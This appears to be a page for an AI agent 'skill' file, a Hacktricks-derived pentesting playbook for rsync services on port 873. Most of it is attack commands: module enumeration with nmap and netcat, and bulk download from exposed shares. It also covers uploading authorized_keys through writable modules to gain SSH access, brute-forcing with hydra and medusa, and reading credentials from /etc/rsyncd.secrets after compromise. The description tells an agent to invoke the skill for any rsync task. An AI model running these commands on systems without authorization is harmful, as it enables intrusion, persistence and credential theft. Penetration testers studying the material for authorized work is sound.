Hacktricks-skills rsync-pentest
Pentest rsync file sharing services on port 873. Use this skill whenever you need to enumerate, access, or exploit rsync services. Trigger this skill for any rsync-related tasks including module enumeration, authentication testing, file transfer, brute force attacks, or post-exploitation configuration analysis. Make sure to use this skill when you see port 873 open, need to test rsync shares, or want to transfer files via rsync.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/873-pentesting-rsync/SKILL.MDRsync Pentesting Skill
A skill for pentesting rsync file sharing services (default port 873).
Quick Start
# Enumerate rsync modules nmap -sV --script "rsync-list-modules" -p 873 <TARGET_IP> # Manual enumeration via netcat nc -vn <TARGET_IP> 873
Enumeration
Banner Grabbing
Connect to the rsync service to get version information:
nc -vn <TARGET_IP> 873
The server responds with
@RSYNCD: <version>. Send the same version back, then request #list to retrieve available modules.
Example interaction:
@RSYNCD: 31.0 # Server sends version @RSYNCD: 31.0 # You send same version back #list # Request module list raidroot # Module 1 USBCopy # Module 2 _NAS_Recycle_TOSRAID # Module 3 @RSYNCD: EXIT # Server closes connection
Module Enumeration
Use these methods to discover available rsync modules:
# Using nmap nmap -sV --script "rsync-list-modules" -p 873 <TARGET_IP> # Using rsync directly rsync -av --list-only rsync://<TARGET_IP>:873 # IPv6 with alternate port rsync -av --list-only rsync://[<IPv6>]:8730 # Metasploit module msf> use auxiliary/scanner/rsync/modules_list
Testing Authentication
Check if modules require authentication:
# Try accessing a module rsync -av --list-only rsync://<TARGET_IP>/<module_name>
If authentication is required, you'll see:
@RSYNCD: AUTHREQD <token>
Accessing Shared Modules
Without Authentication
# List contents rsync -av --list-only rsync://<TARGET_IP>/<module_name> # Download files (recursive, preserves attributes) rsync -av rsync://<TARGET_IP>/<module_name> ./local_dir/ # Download with alternate port rsync -av rsync://<TARGET_IP>:8730/<module_name> ./local_dir/
With Authentication
# List with credentials (prompts for password) rsync -av --list-only rsync://<username>@<TARGET_IP>/<module_name> # Download with credentials rsync -av rsync://<username>@<TARGET_IP>/<module_name> ./local_dir/
Uploading Files
# Upload to remote module rsync -av ./local_file rsync://<username>@<TARGET_IP>/<module_name>/ # Upload SSH authorized_keys for access rsync -av home_user/.ssh/ rsync://<username>@<TARGET_IP>/home_user/.ssh
Brute Force Attacks
If modules require authentication, attempt credential cracking:
# Using hydra hydra -l <username> -P /path/to/wordlist <TARGET_IP> rsync # Using medusa medusa -h <TARGET_IP> -u <username> -P /path/to/wordlist -M rsync
Post-Exploitation
Finding Configuration Files
Once you have system access, locate rsync configuration:
# Find rsyncd configuration find /etc -name "rsyncd.conf" -o -name "rsyncd.secrets" # Check for credentials in secrets file cat /etc/rsyncd.secrets
The secrets file contains usernames and passwords for rsyncd authentication.
Common Configuration Locations
- Main configuration file/etc/rsyncd.conf
- Authentication credentials/etc/rsyncd.secrets
- Chroot settings/etc/rsyncd.chroot
Attack Patterns
Pattern 1: Anonymous Access Discovery
- Enumerate modules with
nmap -sV --script "rsync-list-modules" - Test each module for anonymous access
- Download accessible files
- Look for sensitive data, credentials, or backup files
Pattern 2: Credential Harvesting
- Find modules requiring authentication
- Attempt brute force with common credentials
- Use discovered credentials to access other services
- Check for password reuse across systems
Pattern 3: SSH Key Upload
- Find writable rsync module
- Upload
fileauthorized_keys - Gain SSH access to the system
Tips
- Some modules may be hidden and not appear in the list
- "Access Denied" messages indicate credential requirements
- Use
for recursive transfers with attribute preservationrsync -av - Consider using SSH tunneling for encrypted rsync transfers
- Check for path traversal vulnerabilities in module configurations